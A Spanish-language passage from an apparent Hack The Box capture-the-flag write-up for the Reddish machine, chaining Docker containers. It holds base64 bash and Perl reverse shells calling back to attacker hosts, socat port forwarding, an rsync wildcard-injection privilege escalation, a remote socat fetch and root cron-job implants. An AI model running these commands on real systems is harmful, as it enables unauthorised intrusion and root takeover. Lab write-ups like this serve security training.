pty groups=FD,NAMED,TERMIOS,PTY
sctp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,SCTP
sctp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,SCTP
sctp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,SCTP
sctp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,SCTP
sctp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,SCTP
sctp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,SCTP
socket-connect:<domain>:<protocol>:<remote-address> groups=FD,SOCKET,CHILD,RETRY
socket-datagram:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET,RANGE
socket-listen:<domain>:<protocol>:<local-address> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE
socket-recv:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,RANGE
socket-recvfrom:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,CHILD,RANGE
socket-sendto:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET
socks4:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
socks4a:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
stderr groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdin groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdio groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdout groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
system:<shell-command> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
tcp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP
tcp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP
tcp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,TCP
tcp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP
tcp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,TCP
tcp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP
udp-connect:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
udp-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP
udp-recv:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP
udp-sendto:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
udp4-connect:<host>:<port> groups=FD,SOCKET,IP4,UDP
udp4-datagram:<remote-address>:<port> groups=FD,SOCKET,RANGE,IP4,UDP
udp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP
udp4-recv:<port> groups=FD,SOCKET,RANGE,IP4,UDP
udp4-recvfrom:<host>:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,UDP
udp4-sendto:<host>:<port> groups=FD,SOCKET,IP4,UDP
udp6-connect:<host>:<port> groups=FD,SOCKET,IP6,UDP
udp6-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP6,UDP
udp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP
udp6-recv:<port> groups=FD,SOCKET,RANGE,IP6,UDP
udp6-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP6,UDP
udp6-sendto:<host>:<port> groups=FD,SOCKET,IP6,UDP
unix-client:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-connect:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-listen:<filename> groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
unix-recv:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-recvfrom:<filename> groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX
unix-sendto:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
Lo que debemos hacer es con socat, crearnos un port forwarding en la máquina nodered, que nos lleve a nuestra máquina de atacante de la siguiente manera
root@nodered:/tmp# ./socat TCP-LISTEN:4444,fork tcp:10.10.14.118:4445 &
[1] 93
root@nodered:/tmp#
Ya que tenemos esta máquina escuchando, lo que debemos hacer es poner nuestra máquina de atacante a la escucha en el puerto 4445 que es el que escogimos para este port forwarding
┌─[✗]─[root@parrot]─[/mnt/angussMoody/Scripts/Static/linux]
└──╼ #nc -nlvp 4445
listening on [any] 4445 ...
Ahora debemos buscar la forma de que nos reciba una Reverse Shell en la ejecución de comandos que tenemos con el cmd.php echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xOS4wLjQvNDQ0NCAwPiYx | base64 -d | bash Vamos a realizar el mismo procedimiento que realizamos con Node-red, nos creamos una Reverse Shell en bash y la pasamos a base64
Enviamos el comando por la la variable de nuestra cmd.php
Y así recibimos nuestra Reverse Shell, a la máquina nodered y esta lo dirige a nuestra máquina de atacante
┌─[root@parrot]─[/mnt/angussMoody/Scripts/Static/linux]
└──╼ #nc -nlvp 4445
listening on [any] 4445 ...
connect to [10.10.14.118] from (UNKNOWN) [10.129.224.218] 34948
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$ whoami
whoami
www-data
www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$
Enumerando un poco vemos que tiene una tarea cron /etc/cron.d que se ejecuta cada 3 Minutos y la ejecuta root
www-data@www:$ ls /etc/cron.d
backup
www-data@www:$ cat /etc/cron.d/backup
*/3 * * * * root sh /backup/backup.sh
www-data@www:$ ls -la /backup/backup.sh
-rw-r--r-- 1 root root 242 May 4 2018 /backup/backup.sh
www-data@www:$ cat /backup/backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Investigamos un poco sobre rsync y nos encontramos con este articulo https://book.hacktricks.xyz/linux-unix/privilege-escalation con rsync podemos hacer uso de la bandera -e que nos dice especificar el shell remoto que se utilizará
e
┌─[root@parrot]─[/mnt/angussMoody]
└──╼ #rsync -h
rsync version 3.2.3 protocol version 31
Copyright (C) 1996-2020 by Andrew Tridgell, Wayne Davison, and others.
Web site: https://rsync.samba.org/
Capabilities:
64-bit files, 64-bit inums, 64-bit timestamps, 64-bit long ints,
socketpairs, hardlinks, hardlink-specials, symlinks, IPv6, atimes,
batchfiles, inplace, append, ACLs, xattrs, optional protect-args, iconv,
symtimes, prealloc, stop-at, no crtimes
Optimizations:
SIMD, asm, openssl-crypto
Checksum list:
xxh128 xxh3 xxh64 (xxhash) md5 md4 none
Compress list:
zstd lz4 zlibx zlib none
rsync comes with ABSOLUTELY NO WARRANTY. This is free software, and you
are welcome to redistribute it under certain conditions. See the GNU
General Public Licence for details.
rsync is a file transfer program capable of efficient remote update
via a fast differencing algorithm.
Usage: rsync [OPTION]... SRC [SRC]... DEST
or rsync [OPTION]... SRC [SRC]... [USER@]HOST:DEST
or rsync [OPTION]... SRC [SRC]... [USER@]HOST::DEST
or rsync [OPTION]... SRC [SRC]... rsync://[USER@]HOST[:PORT]/DEST
or rsync [OPTION]... [USER@]HOST:SRC [DEST]
or rsync [OPTION]... [USER@]HOST::SRC [DEST]
or rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
The ':' usages connect via remote shell, while '::' & 'rsync://' usages connect
to an rsync daemon, and require SRC or DEST to start with a module name.
Options
--verbose, -v increase verbosity
--info=FLAGS fine-grained informational verbosity
--debug=FLAGS fine-grained debug verbosity
--stderr=e|a|c change stderr output mode (default: errors)
--quiet, -q suppress non-error messages
--no-motd suppress daemon-mode MOTD
--checksum, -c skip based on checksum, not mod-time & size
--archive, -a archive mode; equals -rlptgoD (no -H,-A,-X)
--no-OPTION turn off an implied OPTION (e.g. --no-D)
--recursive, -r recurse into directories
--relative, -R use relative path names
--no-implied-dirs don't send implied dirs with --relative
--backup, -b make backups (see --suffix & --backup-dir)
--backup-dir=DIR make backups into hierarchy based in DIR
--suffix=SUFFIX backup suffix (default ~ w/o --backup-dir)
--update, -u skip files that are newer on the receiver
--inplace update destination files in-place
--append append data onto shorter files
--append-verify --append w/old data in file checksum
--dirs, -d transfer directories without recursing
--mkpath create the destination's path component
--links, -l copy symlinks as symlinks
--copy-links, -L transform symlink into referent file/dir
--copy-unsafe-links only "unsafe" symlinks are transformed
--safe-links ignore symlinks that point outside the tree
--munge-links munge symlinks to make them safe & unusable
--copy-dirlinks, -k transform symlink to dir into referent dir
--keep-dirlinks, -K treat symlinked dir on receiver as dir
--hard-links, -H preserve hard links
--perms, -p preserve permissions
--executability, -E preserve executability
--chmod=CHMOD affect file and/or directory permissions
--acls, -A preserve ACLs (implies --perms)
--xattrs, -X preserve extended attributes
--owner, -o preserve owner (super-user only)
--group, -g preserve group
--devices preserve device files (super-user only)
--specials preserve special files
-D same as --devices --specials
--times, -t preserve modification times
--atimes, -U preserve access (use) times
--open-noatime avoid changing the atime on opened files
--crtimes, -N preserve create times (newness)
--omit-dir-times, -O omit directories from --times
--omit-link-times, -J omit symlinks from --times
--super receiver attempts super-user activities
--fake-super store/recover privileged attrs using xattrs
--sparse, -S turn sequences of nulls into sparse blocks
--preallocate allocate dest files before writing them
--write-devices write to devices as files (implies --inplace)
--dry-run, -n perform a trial run with no changes made
--whole-file, -W copy files whole (w/o delta-xfer algorithm)
--checksum-choice=STR choose the checksum algorithm (aka --cc)
--one-file-system, -x don't cross filesystem boundaries
--block-size=SIZE, -B force a fixed checksum block-size
--rsh=COMMAND, -e specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
--existing skip creating new files on receiver
--ignore-existing skip updating files that exist on receiver
--remove-source-files sender removes synchronized files (non-dir)
--del an alias for --delete-during
--delete delete extraneous files from dest dirs
--delete-before receiver deletes before xfer, not during
--delete-during receiver deletes during the transfer
--delete-delay find deletions during, delete after
--delete-after receiver deletes after transfer, not during
--delete-excluded also delete excluded files from dest dirs
--ignore-missing-args ignore missing source args without error
--delete-missing-args delete missing source args from destination
--ignore-errors delete even if there are I/O errors
--force force deletion of dirs even if not empty
--max-delete=NUM don't delete more than NUM files
--max-size=SIZE don't transfer any file larger than SIZE
--min-size=SIZE don't transfer any file smaller than SIZE
--max-alloc=SIZE change a limit relating to memory alloc
--partial keep partially transferred files
--partial-dir=DIR put a partially transferred file into DIR
--delay-updates put all updated files into place at end
--prune-empty-dirs, -m prune empty directory chains from file-list
--numeric-ids don't map uid/gid values by user/group name
--usermap=STRING custom username mapping
--groupmap=STRING custom groupname mapping
--chown=USER:GROUP simple username/groupname mapping
--timeout=SECONDS set I/O timeout in seconds
--contimeout=SECONDS set daemon connection timeout in seconds
--ignore-times, -I don't skip files that match size and time
--size-only skip files that match in size
--modify-window=NUM, -@ set the accuracy for mod-time comparisons
--temp-dir=DIR, -T create temporary files in directory DIR
--fuzzy, -y find similar file for basis if no dest file
--compare-dest=DIR also compare destination files relative to DIR
--copy-dest=DIR ... and include copies of unchanged files
--link-dest=DIR hardlink to files in DIR when unchanged
--compress, -z compress file data during the transfer
--compress-choice=STR choose the compression algorithm (aka --zc)
--compress-level=NUM explicitly set compression level (aka --zl)
--skip-compress=LIST skip compressing files with suffix in LIST
--cvs-exclude, -C auto-ignore files in the same way CVS does
--filter=RULE, -f add a file-filtering RULE
-F same as --filter='dir-merge /.rsync-filter'
repeated: --filter='- .rsync-filter'
--exclude=PATTERN exclude files matching PATTERN
--exclude-from=FILE read exclude patterns from FILE
--include=PATTERN don't exclude files matching PATTERN
--include-from=FILE read include patterns from FILE
--files-from=FILE read list of source-file names from FILE
--from0, -0 all *-from/filter files are delimited by 0s
--protect-args, -s no space-splitting; wildcard chars only
--copy-as=USER[:GROUP] specify user & optional group for the copy
--address=ADDRESS bind address for outgoing socket to daemon
--port=PORT specify double-colon alternate port number
--sockopts=OPTIONS specify custom TCP options
--blocking-io use blocking I/O for the remote shell
--outbuf=N|L|B set out buffering to None, Line, or Block
--stats give some file-transfer stats
--8-bit-output, -8 leave high-bit chars unescaped in output
--human-readable, -h output numbers in a human-readable format
--progress show progress during transfer
-P same as --partial --progress
--itemize-changes, -i output a change-summary for all updates
--remote-option=OPT, -M send OPTION to the remote side only
--out-format=FORMAT output updates using the specified FORMAT
--log-file=FILE log what we're doing to the specified FILE
--log-file-format=FMT log updates using the specified FMT
--password-file=FILE read daemon-access password from FILE
--early-input=FILE use FILE for daemon's early exec input
--list-only list the files instead of copying them
--bwlimit=RATE limit socket I/O bandwidth
--stop-after=MINS Stop rsync after MINS minutes have elapsed
--stop-at=y-m-dTh:m Stop rsync at the specified point in time
--write-batch=FILE write a batched update to FILE
--only-write-batch=FILE like --write-batch but w/o updating dest
--read-batch=FILE read a batched update from FILE
--protocol=NUM force an older protocol version to be used
--iconv=CONVERT_SPEC request charset conversion of filenames
--checksum-seed=NUM set block/file checksum seed (advanced)
--ipv4, -4 prefer IPv4
--ipv6, -6 prefer IPv6
--version, -V print the version + other info and exit
--help, -h (*) show this help (* -h is help only on its own)
Use "rsync --daemon --help" to see the daemon-mode command-line options.
Please see the rsync(1) and rsyncd.conf(5) man pages for full documentation.
See https://rsync.samba.org/ for updates, bug reports, and answers
Ahora debemos tratar de que esta tarea nos ejecute algo y podemos aprovechar este script para poner unos archivos en la ruta y así nos los pueda ejecutar
www-data@www:/tmp$ echo 'chmod u+s /bin/bash' > test.rdb
www-data@www:/tmp$ ls
test.rdb
www-data@www:/tmp$ cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ cp /tmp/test.rdb .
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls
test.rdb
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ touch -- '-e sh test.rdb'
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls -l
total 4
-rw-r--r-- 1 www-data www-data 0 Sep 22 01:31 -e sh test.rdb
-rw-r--r-- 1 www-data www-data 20 Sep 22 01:30 test.rdb
Ahora cuando se ejecuta nos da permisos SUID en bash
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1029624 Nov 5 2016 /bin/bash
Como ya tenemos permiso en bash podemos correrlo con la bandera -p
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ bash -p
bash-4.3# whoami && hostname && id
root
www
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Como no estamos dentro de la máquina Reddish debemos buscar la forma de escalar y dentro del archivo backup.sh que vimos anteriormente vemos que esta haciendo un llamado a un host, con un puerto
bash-4.3# cat backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Entonces vamos a realizar un ping a este host
bash-4.3# ping -c 2 backup
PING backup (172.20.0.2) 56(84) bytes of data.
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2): icmp_seq=1 ttl=64 time=0.082 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2): icmp_seq=2 ttl=64 time=0.135 ms
--- backup ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.082/0.108/0.135/0.028 ms
Ahora vamos a tratar de listar con el mismo rsync y aprovechando la ruta que nos da backup.sh para ver que podemos encontrar
bash-4.3# cat backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Vemos que nos devuelve al parecer una montura de otro docker
bash-4.3# rsync rsync://backup:873/src/rdb/
drwxr-xr-x 4,096 2021/09/22 01:22:01 .
bash-4.3# rsync rsync://backup:873/src/
drwxr-xr-x 4,096 2018/07/15 17:42:39 .
-rwxr-xr-x 0 2018/05/04 21:01:30 .dockerenv
-rwxr-xr-x 100 2018/05/04 19:55:07 docker-entrypoint.sh
drwxr-xr-x 4,096 2018/07/15 17:42:41 backup
drwxr-xr-x 4,096 2018/07/15 17:42:39 bin
drwxr-xr-x 4,096 2018/07/15 17:42:38 boot
drwxr-xr-x 4,096 2018/07/15 17:42:39 data
drwxr-xr-x 3,640 2021/09/21 23:50:29 dev
drwxr-xr-x 4,096 2018/07/15 17:42:39 etc
drwxr-xr-x 4,096 2018/07/15 17:42:38 home
drwxr-xr-x 4,096 2018/07/15 17:42:39 lib
drwxr-xr-x 4,096 2018/07/15 17:42:38 lib64
drwxr-xr-x 4,096 2018/07/15 17:42:38 media
drwxr-xr-x 4,096 2018/07/15 17:42:38 mnt
drwxr-xr-x 4,096 2018/07/15 17:42:38 opt
dr-xr-xr-x 0 2021/09/21 23:50:28 proc
drwxr-xr-x 4,096 2021/09/22 01:22:01 rdb
drwx------ 4,096 2018/07/15 17:42:38 root
drwxr-xr-x 4,096 2021/09/21 23:50:29 run
drwxr-xr-x 4,096 2018/07/15 17:42:38 sbin
drwxr-xr-x 4,096 2018/07/15 17:42:38 srv
dr-xr-xr-x 0 2021/09/21 23:50:29 sys
drwxrwxrwt 4,096 2021/09/22 01:48:01 tmp
drwxr-xr-x 4,096 2018/07/15 17:42:39 usr
drwxr-xr-x 4,096 2018/07/15 17:42:39 var
Si le podemos un punto al final de la consulta nos copiamos el archivo que pongamos en la ruta, para este ejemplo me voy a copiar el archivo del hostname que se encuentra en /etc/hostname y así confirmamos el nombre de la máquina
bash-4.3# rsync rsync://backup:873/src/etc/hostname .
bash-4.3# ls
backup.sh hostname
bash-4.3# cat hostname
backup
Ahora vamos a tratar de descargarnos el socat a esta máquina, así que debemos realizar un port forwarding entre estas máquinas y la nuestra de atacante y vamos a crear en la máquina nodered que todo lo que llegue en el puerto 3333 lo dirija a nuestra máquina atacante por el puerto 8083 y en nuestra máquina atacante vamos a crear un servicio con python
root@nodered:/tmp# ./socat TCP-LISTEN:3333,fork tcp:10.10.14.118:8083 &
[2] 85
root@nodered:/tmp#
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
┌─[root@parrot]─[/mnt/angussMoody/Scripts/Static/linux]
└──╼ #python3 -m http.server 8083
Serving HTTP on 0.0.0.0 port 8083 (http://0.0.0.0:8083/) ...
Y ahora en la máquina www como vemos que tiene perl, vamos a tratar de descargarnos el socat de nuestra máquina de atacante
www-data@www:/tmp$ which perl
/usr/bin/perl
www-data@www:/tmp$ perl -e 'use File::Fetch; my $url = "http://172.19.0.4:3333/socat"; my $ff = File::Fetch->new(uri=>$url); my $file = $ff->fetch() or die $ff->eror'
Ya en este punto tenemos respuesta en nuestra máquina de atacante, con una petición en 200
┌─[root@parrot]─[/mnt/angussMoody/Scripts/Static/linux]
└──╼ #python3 -m http.server 8084
Serving HTTP on 0.0.0.0 port 8084 (http://0.0.0.0:8084/) ...
10.129.229.102 - - [28/Sep/2021 21:08:16] "GET /socat HTTP/1.1" 304 -
10.129.229.102 - - [28/Sep/2021 21:08:17] "GET /socat HTTP/1.0" 200 -
Y en nuestra máquina www ya tenemos el socat
www-data@www:/tmp$ perl -e 'use File::Fetch; my $url = "http://172.19.0.4:5555/socat"; my $ff = File::Fetch->new(uri=>$url); my $file = $ff->fetch() or die $ff->eror'
'httptiny' said it fetched '/tmp/socat', but it was not created at -e line 1.
www-data@www:/tmp$ ls
socat test.rdb
www-data@www:/tmp$
Subimos es socat porque la máquina backup tiene una tarea cron corriendo
www-data@www:/tmp$ rsync rsync://backup:873/src/etc/cron.d/
drwxr-xr-x 4,096 2018/07/15 17:42:39 .
-rw-r--r-- 102 2015/06/11 10:23:47 .placeholder
-rw-r--r-- 29 2018/05/04 20:57:55 clean
www-data@www:/tmp$
Vamos a traernos ese clean a nuestro equipo para ver que está realizando y vemos que como el usuario root está realizando un rm -rf de /rdb/
www-data@www:/tmp$ rsync rsync://backup:873/src/etc/cron.d/clean .
www-data@www:/tmp$ cat clean
* * * * * root rm -rf /rdb/*
www-data@www:/tmp$
Ahora como sabemos que la máquina tiene perl vamos a crearnos una reverse shell en perl a la máquina www
Nos creamos un archivo con esta Reverse Shell
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #cat shell.sh
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: shell.sh
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/bash
2 │
3 │ perl -e 'use Socket;$i="172.20.0.3";$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">
│ &S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora para pasarnos este archivo a la máquina podemos hacer como hicimos anteriormente, codificarlo a base64 y así poderlo decodificar en la maquina y pasarlo a un archivo, lo copiamos
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #base64 -w 0 shell.sh | xclip -sel clip
Y ahora en la máquina Victima, decodificamos ese base64 y lo pasamos a un archivo que vamos a llamar shell.sh
www-data@www:/tmp$ echo "IyEvYmluL2Jhc2gKCnBlcmwgLWUgJ3VzZSBTb2NrZXQ7JGk9IjE3Mi4yMC4wLjMiOyRwPTkwMDA7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTsnCg==" | base64 -d > shell.sh
www-data@www:/tmp$ cat shell.sh
#!/bin/bash
perl -e 'use Socket;$i="172.20.0.3";$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Y ahora nos vamos a crear otro archivo como tarea cron, para que root me ejecute algo, cada minuto y este archivo lo podemos llamar shell
www-data@www:/tmp$ echo "* * * * * root sh /tmp/shell.sh" > shell
www-data@www:/tmp$ cat shell
* * * * * root sh /tmp/shell.sh
Ahora vamos a pasarnos nuestro archivo shell.sh al directorio /tmp/ de la victima aprovechándonos de rsync que nos permite con la bandera -a subir archivos
www-data@www:/tmp$ rsync rsync://backup:873/src/tmp
drwxrwxrwt 4,096 2021/09/29 02:39:01 tmp
www-data@www:/tmp$ rsync -a shell.sh rsync://backup:873/src/tmp
www-data@www:/tmp$ rsync rsync://backup:873/src/tmp
drwxrwxrwt 4,096 2021/09/29 02:40:21 tmp
www-data@www:/tmp$ rsync rsync://backup:873/src/tmp/
drwxrwxrwt 4,096 2021/09/29 02:40:21 .
-rw-r--r-- 235 2021/09/29 02:32:39 shell.sh
Ahora realizo lo mismo para subir mi archivo shell al directorio /etc/cron.d
www-data@www:/tmp$ rsync -a shell rsync://backup:873/src/etc/cron.d/
www-data@www:/tmp$ rsync rsync://backup:873/src/etc/cron.d/
drwxr-xr-x 4,096 2021/09/29 02:46:02 .
-rw-r--r-- 102 2015/06/11 10:23:47 .placeholder
-rw-r--r-- 29 2018/05/04 20:57:55 clean
-rw-r--r-- 32 2021/09/29 02:36:32 shell
Ahora con socat debemos poner nuestra máquina a la escucha y esperar el minuto para que nos devuelva la Reverse Shell
bash-4.3# ./socat TCP-LISTEN:3131 STDOUT
Pero después del minuto no nos devuelve nada, así que vamos a cambiar el puerto de la shell y el nombre de los archivos para subirlos de nuevo ver si tenemos suerte con otro puerto
bash-4.3# echo "IyEvYmluL2Jhc2gKCnBlcmwgLWUgJ3VzZSBTb2NrZXQ7JGk9IjE3Mi4yMC4wLjMiOyRwPTMxMzE7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTsnCg==" | base64 -d > reverse.sh
bash-4.3# echo "* * * * * root sh /tmp/reverse.sh" > reverse
bash-4.3# cat reverse.sh
#!/bin/bash
perl -e 'use Socket;$i="172.20.0.3";$p=3131;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
bash-4.3# cat reverse
* * * * * root sh /tmp/reverse.sh
bash-4.3#
Ahora vamos a subirlos de nuevo y ponernos a la escucha con socat
bash-4.3# rsync -a reverse.sh rsync://backup:873/src/tmp/
bash-4.3# rsync rsync://backup:873/src/tmp/
drwxrwxrwt 4,096 2021/09/29 03:07:41 .
-rw-r--r-- 235 2021/09/29 03:06:07 reverse.sh
-rw-r--r-- 235 2021/09/29 02:32:39 shell.sh
bash-4.3# rsync -a reverse.sh rsync://backup:873/src/tmp/
reverse.sh
bash-4.3# rsync -a reverse rsync://backup:873/src/etc/cron.d/
bash-4.3# rsync rsync://backup:873/src/etc/cron.d/
drwxr-xr-x 4,096 2021/09/29 03:08:19 .
-rw-r--r-- 34 2021/09/29 03:06:17 reverse
bash-4.3# ./socat TCP-LISTEN:3131 STDOUT
Ya de esta manera tengo una reverse shell con backup como root
bash-4.3# rsync -a shell.sh rsync://backup:873/src/tmp/
bash-4.3# rsync -a shell rsync://backup:873/src/etc/cron.d/
bash-4.3# ./socat TCP-LISTEN:4444 STDOUT
bash: cannot set terminal process group (547): Inappropriate ioctl for device
bash: no job control in this shell
root@backup:~# hostname && whoami && id
hostname && whoami && id
backup
root
uid=0(root) gid=0(root) groups=0(root)
root@backup:~#
Vemos que estamos dentro de otro docker
root@backup:~# ls -la /
ls -la /
total 88
drwxr-xr-x 1 root root 4096 Jul 15 2018 .
drwxr-xr-x 1 root root 4096 Jul 15 2018 ..
-rwxr-xr-x 1 root root 0 May 4 2018 .dockerenv
drwxr-xr-x 5 root root 4096 Jul 15 2018 backup
drwxr-xr-x 1 root root 4096 Jul 15 2018 bin
drwxr-xr-x 2 root root 4096 Jul 15 2018 boot
drwxr-xr-x 2 root root 4096 Jul 15 2018 data
drwxr-xr-x 14 root root 3640 Sep 29 01:09 dev
-rwxr-xr-x 1 root root 100 May 4 2018 docker-entrypoint.sh
drwxr-xr-x 1 root root 4096 Sep 29 03:08 etc
drwxr-xr-x 2 root root 4096 Jul 15 2018 home
drwxr-xr-x 1 root root 4096 Jul 15 2018 lib
drwxr-xr-x 2 root root 4096 Jul 15 2018 lib64
drwxr-xr-x 2 root root 4096 Jul 15 2018 media
drwxr-xr-x 2 root root 4096 Jul 15 2018 mnt
drwxr-xr-x 2 root root 4096 Jul 15 2018 opt
dr-xr-xr-x 226 root root 0 Sep 29 01:09 proc
drwxr-xr-x 2 root root 4096 Jul 15 2018 rdb
drwx------ 2 root root 4096 Jul 15 2018 root
drwxr-xr-x 1 root root 4096 Sep 29 01:09 run
drwxr-xr-x 2 root root 4096 Jul 15 2018 sbin
drwxr-xr-x 2 root root 4096 Jul 15 2018 srv
dr-xr-xr-x 13 root root 0 Sep 29 01:09 sys
drwxrwxrwt 1 root root 4096 Sep 29 03:20 tmp
drwxr-xr-x 1 root root 4096 Jul 15 2018 usr
drwxr-xr-x 1 root root 4096 Jul 15 2018 var
root@backup:~#
Enumerando un poco vemos que tiene varias monturas y una con mucho tamaño llamada backup
root@backup:~# df -h
df -h
Filesystem Size Used Avail Use% Mounted on
overlay 7.3G 3.5G 3.8G 49% /
tmpfs 64M 0 64M 0% /dev
tmpfs 1001M 0 1001M 0% /sys/fs/cgroup
/dev/sda2 7.3G 3.5G 3.8G 49% /backup
shm 64M 0 64M 0% /dev/shm
root@backup:~#
Nos vamos a Backup y vemos que tiene un peso muy diferente
root@backup:/backup# ls -l
ls -l
total 20
drwxr-xr-x 3 root root 4096 Jul 15 2018 8924d0549008565c554f8128cd11fda4
drwxr-xr-x 2 root root 4096 Jul 15 2018 assets
